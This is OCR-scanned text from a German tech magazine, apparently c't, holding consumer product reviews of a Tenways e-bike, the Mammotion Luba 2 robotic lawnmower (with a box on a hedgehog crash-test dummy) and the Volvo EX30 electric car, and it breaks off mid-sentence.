sitzt. Kurz die Briicke hoch ist das kein Pro-
blem, doch an ldngeren Ansteigen sieht
man von stirkeren E-Bikes mit Schaltung
wie dem VanMoof'S5 (c't 9/2023,S.78) oder
agiler abgestimmten Singlespeedern wie
Cowboy C4 oder Ampler Axel (¢’t11/2023,
S. 62) nur die Riicklichter. Fiirs Pendeln in
bergigen Gegenden taugt das CGO009
daher nicht. Da hilft iibrigens auch der
Boostknopfwenig. Bis Testende waren wir
nicht ganzsicher, ob er aufden Placebo-Ef-
fekt setzt oder tatsdchlich mehr Kraft frei-
gibt, kein Vergleich zum wild losstiirmen-
den VanMoof'im Boostmodus.

Fiir lange Ausritte ist das Tenways
nicht gemacht. Beim tiglichen Pendeln in
wechselnden Unterstiitzungsstufen kamen
wir aufeine Reichweite von 40 bis 50 Kilo-
metern. Fahrt man ausschlief3lich mitvoller
Motorkraft, ist sogar frither Schluss. Mit
sparsamer Fahrweise diirften maximal 60
bis 70 Kilometer drin sein. Im Test achteten
wir tunlichst darauf, dass der Akku nicht
wihrend einer Ausfahrt zur Neige ging.
Denn ohne Motorunterstiitzung will man

Smartbike | Test & Beratung

Drei LEDs am Lenker des Tenways
CGO0O009 zeigen die aktuelle Motor-
unterstiitzung, drei weitere den
Akkuftillstand.

das schwere Eingangrad nicht fahren. Der
im Unterrohr sitzende Akku kann direktim
Rad geladen oder dafiir entnommen wer-
den. Ein Ladevorgang dauert etwas mehr
als vier Stunden. Im Akku sitzt eine drei-
farbige LED, die den ungefahren Ladestand
zeigt. Ladt man im Rad, dokumentiert die
App den Ladestand prozentgenau.

Fazit

Das wertig verarbeitete CGO0O09 cruist
gemiitlich durchs Flachland und ist fiirs
tiagliche Pendeln wie gemacht -jedenfalls
dann, wenn man das schwere Gefdhrt
nicht tiglich treppab und treppauf in den
Fahrradkeller oder in die Wohnung im
dritten Stock tragen muss. Dank hoher Zu-
ladung, Schutzblechen, Licht und Gepack-
trager scheut es auch den Ganzjahresein-
satz bei Wind und Wetter nicht. Fiir bergi-
ge Gegenden sind kriftigere E-Bikes aber
besser geeignet. Gut gefiel uns die Ten-
ways-App, die im Test zuverldssig funktio-
nierte und mit allerlei Anpassmdglichkei-
ten und Diebstahlschutzmechanismen
glanzte. Fiir eine uneingeschriankte Emp-
fehlung reicht es nicht, dafiir hatten wir
uns einen stirkeren Motor oder eine Gang-
schaltung und eine hohere Reichweite ge-
wiinscht. (rbr@ct.de) ¢t

Tenways CGO0O09

Hersteller, URL Tenways, tenways.com/de
Motor Hinterradnabenmotor, 250 W

Akku Kapazitat / entnehmbar / 374 Wh / +/ / 40 bis 50 km / 4 h
Reichweite im Test / Ladezeit

Antrieb Singlespeed-Riemenantrieb
(Gatex CDX & CDN)
Ausstattung integrierte Beleuchtung, hydrauli-

sche Scheibenbremsen, Gepack-
trager, Schutzbleche, Seitensténder

Gewicht / max. Gesamtgewicht 24 kg / 145 kg
Systemanforderung App Android ab 6.0 oder i0S ab 12.0
Preis 2399 €
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Rucksichtsvoller Raser

Kabelloser Mahroboter Mammotion Luba 2 AWD im Test

Mit Allradantrieb und Abstands-
sensorik ist der Luba 2 im For-
mel-1-Look fiir die Graserei auf
unwegsamem, verwinkeltem
Geldnde getunt. Sich die Ver-
kehrsregeln fiir schonende
Trimmmanéver in der App zu er-
schlieBen, fiihlt sich indes sehr
nach theoretischer Fiihrer-
scheinpriifung an.

Von Berti Kolbow-Lehradt

en Mihbereich des Luba 2 per Sensor-

kabel im Erdboden zu begrenzen, ist
nicht notig. Wie das Vorjahresmodell
orientiert sich auch der 2200 Euro teure
Neuzugang von Mammotion mithilfe
zweier GPS-Antennen per RTK-Verfahren
(Real Time Kinematic) im Rasenrevier.
Den Rennwagen-Look hat der Hersteller

100

beibehalten. Das Chassis allein verschafft
ihm gegeniiber anderen Mahrobotern kei-
nen funktionalen Vorsprung, gibt ihm aber
einen unverwechselbaren Charakter.

Die Stofdstange in Spoiler-Form und
dieroten Seitenleuchten diirften bei man-
chen den Spieltrieb wecken, sind aber blof3
Show. Stort das Rotlicht, deaktiviert man
es per App. Die Reifen- und Antriebswahl
isthingegen verkehrsrelevant. Ein Allrad-
antrieb wappnet das federgelagerte, tief
profilierte Pneu-Quartett fiir steile Bo-
schungen und dicke Baumwurzeln. Die
omnidirektionalen Zwillingsreifen vorne
verfiigen tiber Rollen im rechten Winkel
zur Drehachse des Rades. Mit ihnen wen-
det der Luba 2 wie ein Kettenfahrzeug auf
der Stelle.

Im Unterschied zu den meisten Ma-
hernhatder Luba gleich zwei Messerteller
mit je vier Fliehkraftklingen. Mit zusam-
men 40 Zentimetern Durchmesser ent-
spricht deren Schnittbreite fast der des
Gehauses, wodurch sich die Rasenflidche
schneller abgrasen lasst. Weil er aufder-

dem auch wendig ist, méiht er die Rander
ebenfalls sauber ab. Auf der Oberseite
scannen nach vorne, rechts und links ge-
richtete Ultraschallsensoren sowie ein
Kameraturm die Umgebung nach Hinder-
nissen; letzterer fehlt dem Vorgiangermo-
dell.

Mammotion bewirbt die Kamera
zudem als Einbruchsschutz. Dieser ist in
der jetzigen Form aber wirkungslos. Von
sich aus 16st die Software bei Bewegun-
gen keinen Alarm aus. Man kann den
Miher zwar bei aktiviertem Live-Bild per
App zu einem verdachtigen Ort manov-
rieren. Das funktioniert aber nur in Blue-
tooth-Reichweite - also wenn man sowie-
so anwesend ist. Per Fernzugriff kann
man dem Gerit nur bei der Arbeit zuse-
hen, die Blickrichtung des Kameraturms
aber nicht dndern. Fiir eine Internetver-
bindung aufderhalb von Bluetooth- und
WLAN-Reichweite steckt unter einer
Heckklappe ein 4G-Modul, das sich bei
Bedarf mit einer beliebigen SIM-Karte
bestiicken ldsst. Weil diese leicht entfern-
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barist, bietet die per Mobilfunk mdgliche
GPS-Standortverfolgung nur einen
schwachen Diebstahlschutz.

Wegen der vier Motoren und zwei
Mihscheibenist der Roboter etwas ldnger,
breiter und schwerer als andere gingigen
Modelle. Dank der seitlich angebrachten
Griffmulden ldsst sich der 17-Kilo-Koloss
dennoch gut zum Waschplatz tragen,
wenn man die schnell verdreckte weifde
Weste von Flecken befreien will. Aufler
einer Dusche mit sanftem Strahl aus dem
Gartenschlauch halt das nach IPX6 abge-
dichtete Gehause auch kurzzeitig starkem
Niederschlag stand. Registriert ein integ-
rierter Regensensor Feuchtigkeit, schickt
er den Roboter zuriick zur Ladestation, die
mit einem Garagendach des Herstellers
(180 Euro) aufriistbarist. Die externe Sat-
Antenne widersteht gemafd IPX7 auch
einem langeren Wolkenbruch im Freien.

Montage wie im Modellbau

Die Antenne hatten wir im Test schneller
montiert als den Roboter. An einer im
Paket enthaltenen Stange spiefd3t man sie
inden Bodenund versorgt sie mit Energie.
Dazuverlegt man eines von zwei mitgelie-
ferten Kabeln entweder zur Ladestation
des Roboters oder zu einer separaten
Steckdose, falls der Empfang dort besser
ist. Wer einen unblockierten Signalweg
zum Satelliten bevorzugt, kann die Anten-
ne mithilfe eines 85 Euro teuren Metall-
arms auch erh6ht an der Wand montieren.
Ein vom Hersteller angekiindigtes Solar-
panel inklusive Akku (330 Euro) soll den
Antennenbetrieb zudem unabhingig von
einem steckdosennahen Standort zulas-
sen, war zum Testzeitpunkt aber nicht ver-
figbar.

Der Luba 2 selbst braucht fiir den ers-
ten Start mehr Zuwendung; er kommt als
Bausatz. Der Kameraturm und die Stof3-
stange liegen der Verpackung bei, man
muss sie zundchst montieren. Die Aufgabe
ist fummelig, die Schraublocher und
Klemmvorrichtungen lassen wenig Raum
fiir Werkzeug und Finger. Um den Luba 2
zum Leben zu erwecken, steckt man einen
Sicherheitsschliissel in zwei Pin-Offnun-
gen am Heck. Thn zugunsten des Zugriffs-
schutzes regelmiflig herauszuziehen, ist
nicht praktikabel, weil der Mdh-Bot dann
fiir zeitgesteuert programmierte Arbeits-
einsitze blockiert ist. Diebe halt die Maf3-
nahme kaum ab: Ersatzschliissel gibt esin
Kleinanzeigenportalen nachzukaufen.
Andere Mahroboter sind wirksamer ge-
schiitzt und direkt nach dem Auspacken
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einsatzbereit, der Luba vermitteltin dieser
Hinsicht Modellbau-Feeling.

Das Software-Setup ging deutlich
leichter von der Hand. Uber die Smart-
phone-App des Herstellers bindet man den
Roboter ins WLAN (2,4 GHz) ein. Einen
personlichen Cloud-Account einzurichten
ist Pflicht; bei einem etwaigen Internet-
ausfall bleibt der Roboter aber via Blue-
tooth bedienbar. Mit Joystick-Schaltfla-
chen navigiert man ihn wie ein Spielzeug-
auto entlang der Rasengrenzen, damit er
sich diese einprégt. Mit einem etwas ver-
steckten Regler lisst sich das Temporedu-
zieren, falls der Mah-Bot fiir kontrollierte
Lenkbewegungen zu schnell fahrt.

Mammotion empfiehlt, wiahrend der
Erkundungstour 15 Zentimeter Abstand
zum Rand zu lassen und Tabuzonen als
Sperrbereiche zu hinterlegen. Im Test
zeigte sich, dass das nicht notig ist. Selbst
bei geringerem Sicherheitsabstand wih-
rend der Kennenlernrunde rutschte der
Roboter im spiteren Arbeitseinsatz nicht
in die Beete. Von Steinen eingefasste
Biaume und Blumeninseln erkannte und
umfuhr ervon selbst. Bei Pools sollte man
jedoch auf Nummer sicher gehenund eine
virtuelle No-Go-Area einrichten, um ein
unfreiwilliges Bad und damit das plotzli-
che Ableben des Mihers zu verhindern.

Die Arbeitsflache lasst sich in Zonen
unterteilen, in denen unterschiedliche Be-
triebseinstellungen und Mahzeiten gelten
konnen. Unser Testgerdt merkte sich bis
zuzehn Bereiche, flir groflere Flichen aus-
gelegte Modellvarianten maximal 30. Die
virtuellen Grenzen jedes einzelnen Be-

Ein Plastikschliissel und mit SIM-Karte
bestiickbares 4G-Modul dienen als
Zugriffs- und Diebstahlschutz, der sich
aber leicht aushebeln lasst.

reichs sind nachtréiglich anpassbar. Dasist
nicht selbstverstandlich. Bei vielen ande-
ren Miahrobotern erfordert ein gednderter
Grundriss der Rasenflache eine komplette
Neukartierung.

Komplexes App-Cockpit

Nach der Kennenlernrunde schickt man
den Roboter in den autonomen Arbeits-
einsatz, entweder per Tastendruck auf
dem Gehause oder in der App. Nur letzte-
re bietet Zugriff auf Zeitpline und Be-
triebseinstellungen, weil der Luba kein
Display hat. Im verschachtelt aufgebauten
App-Cockpit verbergen sich sehr viele wei-

Der Luba miaht mit zwei Messerscheiben. Dadurch kommt er dichter an den Rand
und lasst dort weniger stehen.
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£ Anderung in Bearbeitung (Luba-VSELUAEN) i

A Bitte steuern Sie Roboter zundchst
. zur Begrenzungslinie und klicken Sie
dann auf die Schaltflache ¢, um mit

der Anderung zu beginnen

4

) Lo

Enternung Twischen Roboter und der

Grenze:0.0 m Worschau

Der Grundriss der Rasenflache ldsst sich nachtraglich an-
passen, ohne ihn komplett neu zu erstellen. Diesen Komfort

bieten nicht viele Mah-Bots.

tere Optionen, die aber nicht alle verstiand-
lich erklart und nicht perfekt einge-
deutscht sind. Ebenso wie bei der Fiihrer-
scheinpriifung ist es aber ratsam, sich in
die Theorie hineinzuknien, damitesinder
Praxis nicht kracht.

Eine der wichtigsten Sicherheitsein-
stellungen verbirgt sich hinter dem kryp-
tischen Begriff ,,Bypass-Strategie®. Damit
legt man in vier Stufen fest, ob der Luba
alle mit der Fernsensorik erkannten Hin-
dernisse weitrdumig umfihrt oder eine
direkte Beriihrung mit dem Stofdfdnger
okay ist. Ersteres dient dem Kleintier-
schutz, letzteres vermeidet Fehlalarme
durch hohe Grashalme.

Mit weiteren App-Funktionen lisst
man den Luba nur den Rand des Rasens
schneiden oder die Fliache in Streifen-,
Schachbrett- oder individuellem Muster
mahen. Auch Buchstaben oder Symbole
in den Rasen zu stanzen, ist moglich, be-
nétigt aber viel Flache, weil jedes Zeichen
eine Mindestkantenlange von finf Metern
hat. Es ldsst sich variieren, wie stark sich
dabei die Bahnen {iberlappen, damit der
Miher keine Spurrillen produziert. Das
alles findet man nur durch Versuch und
Irrtum heraus - eine Anleitung gibt es
nicht. Hingegen leicht zuginglich: Wer
will, dirigiert in einem manuellen Fern-

o pos® @ e

Gartens.

steuermodus den Roboter beim Mihen
von Hand - ein seltenes Feature.

Maht den Rasen, keine Igel
Optimal eingestellt, navigierte sich der
Luba 2 sehr prizise durch das Revier. Ver-
schattete Funklocher, die die Satelliten-
verbindung storen, kann er kurzzeitig
durch zusitzliche Daten seiner Stereoka-
mera kompensieren. Dadurch bewegte
sich der Roboter im Test auch in der Nahe
einer Hauswand und unter einem Apfel-
baum geschmeidig.

Die Kamera achtet im Verbund mit
dem Ultraschallsensor-Trio auf seitliche
und frontale Hindernisse. Ins durch Rand-
steine abgegrenzte Beet stlirzte der Luba 2
nie. Bei gutem Licht umfuhr er Gief3kan-
nen, Gartenstiihle, Wasserschlauche und
das Rohrgestinge eines Hingemattenge-
stells sowie in Stein eingefasste Baume
und Blumeninseln, selbst wenn sie nicht
als Sperrzonen deklariert waren. Igel-At-
trappen lief er ebenfalls in Frieden, was
langst noch nicht allen Robotern mit Fern-
sensorik so souverin gelingt. Als Testob-
jekt kam erstmals ein Profi-Dummy zum
Einsatz, mit dem sich Kollisionen und
deren Vermeidung realistischer priifen
lassen als mit Attrappen aus dem Deko-
handel (siehe Kasten). Um das Unfallrisi-
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Mammotions App
wirkt auf den ers-
ten Blick verspielt
und simpel. Die
erweiterten Mah-
einstellungen sind
aber nicht durch-
weg gut erklart
und libersetzt.
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Die eingebaute Kamera leistet bei der Hinderniserkennung
einen sehr guten Job, taugt aber nicht zur Uberwachung des

ko fiir ddammerungsaktive Kleintiere zu-
sdtzlich zu minimieren, verhindert man
Nachtfahrten besser komplett und ver-
setzt das Gerit nachts in den Nicht-Sto-
ren-Modus. Mangels IR-Dioden ist die
Kamera bei schwachem Licht blind.

In einem besonders verwinkelten Teil
des Testparcours erlaubte sich der Luba 2
auch tagsiiber einen Fauxpas. Um einem vor
ihm liegenden Hindernis auszuweichen,
setzte er zurlick und fuhr mit den Hinter-
radern auf ein Schlauchkniuel. Dabei war
auch das Schleifen der Messer zu horen.
Bevordiese Schaden anrichteten, entfernte
sich der Miher wieder. Ein zusitzlicher
riickwartiger Ultraschallsensor konnte das
Restrisiko in solchen seltenen Szenarien
verringern. Insgesamt graste der Luba 2 im
Test sein Revier riicksichtsvoll ab.

Bekommt den Rand fast voll

Das Schnittbild in der Fliche fiel gleich-
méfigaus. Dass der Luba 2 in iiberlappen-
den Bahnen fihrt, verhinderte auler Spur-
rillen, dass er wegen der zwei Zentimeter
grofden Liicke zwischen den beiden Mih-
tellern Grashalme stehen lief3. Die Berei-
che um feste Hindernisse umfuhr der Ro-
boter eng und mahte sie griindlich. Am
Rand entging ihm ein etwa sieben Zenti-
meter breiter Streifen. Viele andere Mih-
roboter lassen mehr Ungemahtes fiir den
hiandisch gefiihrten Kantenschneider
iibrig. Die nahe am Gehauserand platzier-
ten Miahscheiben sind dabei von Vorteil.
Thre Distanz zur Auflenwand ist mit einer
Fingerlinge Abstand trotzdem grof3
genug, damit ein unbedachter Handgriff
nicht zum Gesundheitsrisiko wird. Einen
Steinweg iiber zwei Rampen mit 23-pro-
zentigem Gefille zu queren, gelang dem
gelandegiangigen Mah-Bot problemlos. Er
ist sogar fiir Steigungen von bis zu 45 Pro-
zent an Kanten und bis zu 80 Prozent an
Boschungen spezifiziert.
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Um den Rasen zu schonen, sollte man
den Koloss nicht mit maximalem Tempo
und nicht auf aufgeweichtem Boden fahren
lassen. Sonst droht er, bei engen Wende-
manovern mit den kriftig angetriebenen
Rédern Grasbiischel auszureifden und das
Erdreich aufzuwiihlen. Bei geruhsamer
Fahrt auf trockenem Rasen halten Mam-
motions Algorithmen den bulligen Boliden
inzwischen gutim Zaum. Nach einem Firm-
ware-Update iiberwand der Luba 2 den
Kantstein zu einem Steinpfad durch mehr-
faches Zuriicksetzen und schrages Anfah-
ren, anstatt sich wie vor dem Update da-
gegen zu stemmen und dabei mit den Hin-
terradern den Boden zu pfliigen.

Das Tempo ldsst sich per App zwi-
schen 0,2 und 0,6 Meter pro Sekunde va-
rileren. Wie viel Zeit der Luba 2 dann fiir
die ausgewihlte Fldche mit gewiinschtem
Schnittmuster braucht, prognostiziert er
vor dem Start. Die Angaben erwiesen sich
in der Praxis als realistisch. Sie hangen
davon ab, wie verwinkelt und hindernis-
reich der Miahbereichist. Das Testgerit ist
fiir eine maximale Flache von 1000 Qua-
dratmetern ausgelegt. Bis zu120 Minuten

Smarter Rasenmiher mit Igelerkennung | Test & Beratung

Laufzeit sind laut Hersteller mit einer Auf-
ladung des 4,5-Ah-Akkus drin. In 90 Mi-
nuten ist er wieder voll. Weitere Modell-
varianten gibt es fiir 3000 und 5000
Quadratmeter mit doppelt so grofdem
Akku sowie fiir je 180-miniitige Lauf-und
150-mintitige Ladezeit.

Das Betriebsgeriusch ist etwas lauter
alsdas anderer Midh-Bots, aber leise genug
fiir eine Fahrt wihrend der Ruhezeiten.
Nerven konnte die Nachbarn einzig der
lastige Piepton, der Hindernissichtungen
und Stofdstangenkontakte quittiert. De-
aktivierbar ist er nicht.

Fazit

Den Formel-1-Look des Luba 2 mag man
oder nicht. Unter der bulligen Haube
schneidet erim Test zweifelsfrei gut ab. Er
punktet mit praziser Sat-und Kamera-Na-
vigation, aufmerksamer Hinderniserken-
nung und einem sauberen Schnittbild bis
nahe an den Rand. Mit der seltenen Kom-
bination aus Gelaindegiangigkeit und Wen-
digkeit rast er vielen Alternativen davon.
Auflangen, hindernisfreien Strecken pro-
fitiert er am meisten von seiner schnellen

Crashtest-lgel: Dummy-Prototyp bei c't

Unbeaufsichtigte Rasenmaher sind zwar
praktisch, kénnen aber auch versehent-
lich Kleintiere verletzen. Das lasst sich
vermeiden, wenn Méahroboter ihre Fahrt
rechtzeitig stoppen. Dazu missen die Fe-
derkontakte ihrer StoBfanger auch den
Widerstand kleiner und leichter Objekte
richtig interpretieren. Besser noch ist es,
wenn Kameras oder andere Distanzsen-
soren Tiere rechtzeitig erkennen und die
Bots vor einer Kollision abdrehen.

Unter moglichst realistischen Bedin-
gungen zu prifen, wie gut den Geraten
das gelingt, ist firr die c't-Redaktion An-
spruch und Herausforderung zugleich. Im
Test des Mammotion Luba 2 verwendeten
wir den Prototyp einer professionellen
Igelattrappe, die der auf Crashtest-Dum-
mys spezialisierte Hersteller CTS zusam-
men mit dem Leibniz-Institut fir Zoo- und
Wildtierforschung (IZW) in Berlin entwi-
ckelt. Auf Schutzvorkehrungen fur Igel
liegt der Fokus, weil sich durch Mahrobo-
ter zugefligte Verletzungen nachweislich
haufen.

Der Profi-Dummy besteht aus einer
gewebedhnlichen und mit igeltypischen
Stacheln besetzten Silikonhaube, die Gber
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ein Kunststoffskelett gestiilpt ist. AuBere
und innere Verletzungen lassen sich damit
aussagekraftiger nachvollziehen als mit
den starren Igelmodellen, die fiir den
Mahrobotervergleichstest in ¢t 21/2023
zum Einsatz kamen. Das hilft bei der Fol-
genabschatzung, sollte der mechanische
Schutz der Roboter versagen und eine
Kollision mit Gehausekanten, Radern oder
den Mahmessern nicht verhindern.

Die plastischere duBere Erscheinung
des Profi-Dummys ist von Vorteil, sofern
die Bilderkennung von modernen Mah-
robotern Objekte klassifiziert und auf die-
ser Basis ein Ausweichmanover einleitet.
Das tun aber nicht zwingend alle, die eine
Kamera haben. Fir die Distanzerkennung
des Luba 2 macht die Dummy-Wahl keinen
Unterschied. Er erkannte alle Attrappen.

Wahrend in Mahrobotern eingebaute
Sicherheitsvorkehrungen fiir Menschen
normiert sind, gibt es bislang keine ver-
bindlichen Regularien zum Kleintier-
schutz, geschweige denn zu dessen Pri-
fung. Das IZW entwickelt aber derzeit
zusammen mit den Universitaten Oxford
und Aalborg ein entsprechendes Sicher-
heitstestprotokoll flir Méhroboter. Den

Bild: Berti Kolbow-Lehradt

Luba 2 AWD 1000

Hersteller Mammotion, de.mammotion.com

Navigation GPS mit RTK, Stereo-Kamera, Ultraschall

Kommunikation = Bluetooth, Wi-Fi 4 (2,4 GHz), 4G

Mahwerk Schnittbreite 40 cm, 2 X 4 Klingen,
Schnitthdhe 25 bis 70 mm

Akku 21,6V / 4,5 Ah, max. 120 Min. Laufzeit

Mafe 69 % 51,3 % 27,3 cm, 17 kg

Lieferumfang ~ Mahroboter, Ladestation mit Erdankem,

RTK-Antenne, Antennenstange, 2 Netzteile
Preis 2200 €

und robusten Fahrweise. In verwinkelten
Kleingirten ist er nicht minder niitzlich,
sollte aber nicht im Hochsttempo ausge-
fahren werden, damit er den Rasen beim
Wenden im Gartendeko-Slalom nicht um-
pfliigt. Die Miheinstellungen lassen sich
sehrvielfiltig an die Griinflaichen und per-
sonlichen Vorlieben anpassen, erschlie-
3en sich aber nicht von selbst. Die etwas
kryptische Steuer-App sowie ein unaus-
gereifter Diebstahlschutz sind die wenigen
nennenswerten Schwichen eines ansons-
ten tiberzeugenden kabellosen Mihrobo-
ters. (sha@ct.de) c&

Der vom Crash-Spezialisten CTS ent-
wickelte Prototyp eines Igel-Dummys
kam beim Test des Luba 2 erstmals
zum Einsatz.

Aufbau einer definierten Testumgebung
hatten die Forschungsteams Anfang 2024
vorgestellt. Einen Dummy zu entwerfen,
der so gut wie moglich das Verhalten
eines lebenden Igels simuliert, ist der
nachste Schritt. Sobald er den Prototy-
pen-Status verlasst, soll er flr Hersteller
und die Offentlichkeit als 3D-Druckvorla-
ge verfligbar sein. Das Fernziel der For-
schenden lautet, die Testvorgaben in
offizielle EU-Normvorschriften zu tber-
fahren.
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Junger Schwede

Volvo EX30: E-Auto mit Android

Automotive im Test

Volvos EX30 macht einiges
anders und besser als andere
Stromer: Der Innenraum ist mini-
malistisch, die Fahrleistungen
sind sportlich und das Infotain-
ment stammt von Google. Dazu
kommt das gute Preis-Leistungs-
Verhaltnis. Damit kénnte er glatt
am Markt durchstarten, wenn
nicht einige Kleinigkeiten den
SpaB triiben wiirden.

Von Sven Hansen und Stefan Porteck

olvos EX30 hat chinesische Gene: Der
kompakte Elektro-SUV basiert aufder
SEA-Plattform (Sustainable Experience
Architecture) von Geely. Er teilt sich damit
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den Unterbaumit dem Crossover-SUV na-
mens X der Geely-Tochter Zeekr und den
neuen und gar nicht mehr kompakten
Smart-Modellen Smart #1 und Smart #3.
Mit einer Lange von 4235 Millimetern liegt
der EX30 zwischen dem Smart #1und den
etwas lingeren Zeekr X und Smart #3. Bis-
lang wird der Volvo nur im chinesischen
Zhangjiakou gebaut. Im kommenden Jahr
soll die Produktion in Gent anlaufen.

Bis dahin ist der EX30 von den tem-
poréren Strafzollen auf E-Autos chinesi-
scher Herkunft betroffen, die kurz vor
Redaktionsschluss von der EU verabschie-
det wurden. Ob und in welchem Umfang
Volvo die 19,6 Prozent an die Kunden wei-
tergibt, stand bis Drucklegung nicht fest,
weshalb wir im Folgenden die Listenprei-
se ohne Zoll auffiihren.

In der Core genannten Basisversion
fiir 39.790 Euro hat der Volvo EX30 einen
Elektroantrieb an der Hinterachse, der mit

sportlichen 200 kW (272 PS) und einem
maximalen Drehmoment von 343 Nm auf-
wartet. Die Lithium-Eisenphosphat-Bat-
terie des Core-Modells hat eine Kapazitit
von 51 kWh. Gegen 5200 Euro Aufpreis
gibt es das Extended-Range-Paket mit
einer Nickel-Mangan-Kobalt-Batterie mit
69 kWh, die die Reichweite nach WLTP-
Zyklus von 337 auf 476 Kilometer erhoht.

Neben dem bereits gut ausgestatteten
Basismodell hat Volvo das Plus-Modell im
Programm: Fiir knapp 43.000 Euro gibt
es hier bei gleicher Motorisierung eine er-
weiterte Fahrassistenz, etwas mehr Kon-
nektivitat und Extras wie Ambientebe-
leuchtung im Innenraum. Die grofiere
Batterie kostet beim Plus 5800 Euro Auf-
preis. Vollausstattung mit Panoramadach
gibt es im Ultra-Modell ab rund 52.000
Euro. Das Fahrzeug mit Antrieb an beiden
Achsen bringt es auf beachtliche 315 kW
(428 PS) und schafft den Sprint von O auf
100 km/h in irrwitzigen 3,6 Sekunden
statt den auch sehr agilen 5,3 Sekunden
des Hecktrieblers.

Fiirunseren Test hat Volvo uns jeweils
ein Modell mit Single- und Dual-Motor zur
Verfiigung gestellt. Beide Fahrzeuge hat-
ten die erhohte Reichweite an Bord.

Ausstattung

Der Innenraum ist minimalistisch gestal-
tet: Hinter dem Lenkrad herrscht gihnen-
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de Leere. Dominierendes Element ist das
Mitteldisplay, das fiir die Bedienung und
alle Anzeigen zustidndig ist. Dadurch
wirkt der Fahrgastraum aufgerdaumt und
luftig. Der EX30 soll nachhaltig sein, und
zwar nicht allein wegen des E-Antriebs.
Der Grofiteil des Interieurs besteht aus
recycelten Materialien und Volvo zeigt
dies in Form von Fasern in der Tirver-
kleidung oder Sprenkeln in der unteren
Verkleidung des Armaturenbretts. Die
Optik ist Geschmacksache, aber insge-
samt hinterlasst der Innenraum einen
wertigen Eindruck. Vorne bietet der
EX30 reichlich Platz. Hinten fillt die
Beinfreiheit etwas knapp aus und beim
Ein-und Aussteigen durch die engen Tiir-
ausschnitte schadet es nicht, wenn man
ein wenig gelenkig ist.

Sobald man sich dem SUV mit dem
Schliissel in der Tasche néhert, klappen
die Spiegel aus, er entriegelt sich und das
Infotainment-Display erwachtzum Leben.
Man kann sofort Platz nehmen und los-
fahren - einen Startknopf gibt es nicht.
Nach kurzer Zeit hat man sich aber daran
gewohnt und findet es praktisch. Umge-
kehrt dauert die Gewohnung etwas langer:
Nach der Fahrt schaltet man das Getriebe
aufPund steigt einfach aus. Nach wenigen
Sekunden schaltet sich der EX30 aus und
verriegelt die Tiiren.

Fahren

Fahrmodi wie Eco oder Sport bietet der
EX30 nicht. E-Auto-Fans konnte das zu
wenig sein. Immerhin gibt es aber einen
One-Pedal-Drive-Modus. Nimmt man
den Fufd vom Fahrpedal, rekuperiert das
Auto so stark, als wiirde man bei einem
Verbrenner leicht bremsen, bis es schlief3-
lich zum Stillstand kommt. Beim EX30
klappt dasleider nur auf3erorts gut, da der
One-Pedal-Modus nicht linear verzogert,
sondern die Bremswirkung auf denletzten
Metern leicht abschwicht. Auch nach
mehreren Tagen Ubung standen wir ent-
weder anderthalb Wagenldngen von der
roten Ampel entfernt oder mussten an der
Linie doch bremsen, umnichtin die Kreu-
zung zu rollen.

Derkleine SUV fahrt sich sehr unkom-
pliziert und dhnlich einem gut motorisier-
ten Verbrenner - aber eben nahezu ge-
rauschlos. Nur nahezu, weil wir ab 110
km/h die deutlich wahrnehmbaren Wind-
gerdusche als storend empfanden.

Schon die Single-Motor-Version fahrt
sich angenehm spritzig und agil und das
Dual-Motor-Modell ist einfach unfassbar
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schnell. Die Traktions- und Schlupfhilfen
arbeiten zuverlidssig und dezent, sodass
der EX30 auch aus Kurven ziigig und sta-
bil herausbeschleunigt, wenn man ordent-
lich aufs Pedal tritt.

Den Rest erledigen das gute Fahrwerk
und ein dank der Akkus niedriger Schwer-
punkt. Der EX30 zieht mit Heckantrieb
gutmiitig durch Kurven-mit Allrad sowie-
so. Die Abstimmung ist eher sportlich
straff und neigt bei Last- und Richtungs-
wechseln nicht zum Schaukeln. Grobe Un-
ebenheiten biigelt das Fahrwerk aus, klei-
nere reicht es wenig gefiltert und leicht
polternd weiter. Mit dieser Charakteristik
ist der Volvo keine Sanfte, aber auch nicht
kniippelhart, sondern stellt einen guten
Kontakt zur Fahrbahn her.

Die Lenkung passt leider nicht dazu:
Zwar vermittelt das kleine, oben und
unten abgeflachte Lenkrad eine gewisse
Sportlichkeit, das Lenkverhalten fiihlt sich
aber indirekt an. Die Sitze sind sehr be-
quem, gemessen am straffen Fahrwerk
vergleichsweise weich und bieten etwas
weniger Seitenhalt, als wir erwartet hat-
ten.

Assistenz

Die Fahrassistenz nach Level 2 ist zwei-
stufig ausgelegt. Der einfache Abstands-
tempomat halt die Distanz zum voraus-
fahrenden Verkehr. Man aktiviert ihn am
Lenkrad, worauf der Wagen die aktuelle
Geschwindigkeit tibernimmt. Verstellen
lasst diese sich anschlielend nur manuell.
Die von der Kamera erkannten Tempoli-
mits tibernimmt der EX30 weder automa-
tisch noch manuell. Das ist auch gut so,
denn die Schild-Erkennung arbeitete im
Test aulerst unzuverldssig: Besonders mit
dem Auflosen von Tempolimits scheint
das System Probleme zu haben, sodass es
quasi kontinuierlich Beschridnkungen an-
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zeigt. Bei Autobahnfahrten blendete es oft
kilometerlang ein Limit von 40 oder 60
km/h ein, weil es auf der Auffahrt ein ent-
sprechendes Schild entdeckt hatte. Die
Tempo-Informationen scheint das Fahr-
zeug weder mit Google Maps abzuglei-
chen, noch auf Plausibilitit zu priifen.
Auch Ortsschilder iibersah das System
regelmaflig, weshalb es innerorts oft 70
oder 100 km/h anzeigte.

Gliicklicherweise kann man den ge-
setzlich vorgeschriebenen Warnton
schnell abstellen: Beim EX30 hat Volvo
dafiir sogar eine Taste auf dem Lenkrad
reserviert. Ansonsten nervt der Schwede
stindig wegen vermeintlicher Tempo-
iiberschreitungen.

Die zweite Assistenzstufe ist der Pilot
Assist, der das Fahrzeugin der Spur halten
soll. Erist nur bis zu einer Geschwindigkeit
von 130 km/h verfiigbar. Aufunserer Fahrt
von Hannover nach Miinchen konnten wir
das System ausgiebig auf der Autobahn
testen. In der Default-Einstellung ist es
kaum zu gebrauchen. Die leichten, aber
teils ruckartigen Bewegungen des Lenk-
rads machten es gefiihlt notwendig, den
EX30 im Zaum zu halten. Etappen ohne
Pilot Assist verliefen deutlich entspannter.
Erst nach viel Probieren kamen wir dem
Problem auf die Schliche: Schuld war die
iibernervose Lane Keeping Aid. Sie sorgt
fiir die standigen, kleinen Eingriffe in die
Lenkung. Schaltet man diese ,, Hilfe“ aus,
kann man auch mit dem Pilot Assist ent-
spannt unterwegs sein.

Hinter dem Lenkrad sitzt der Sensor
fiir die Aufmerksamkeitserkennung, die
dem Fahrer 13-mal pro Sekunde ins Ge-
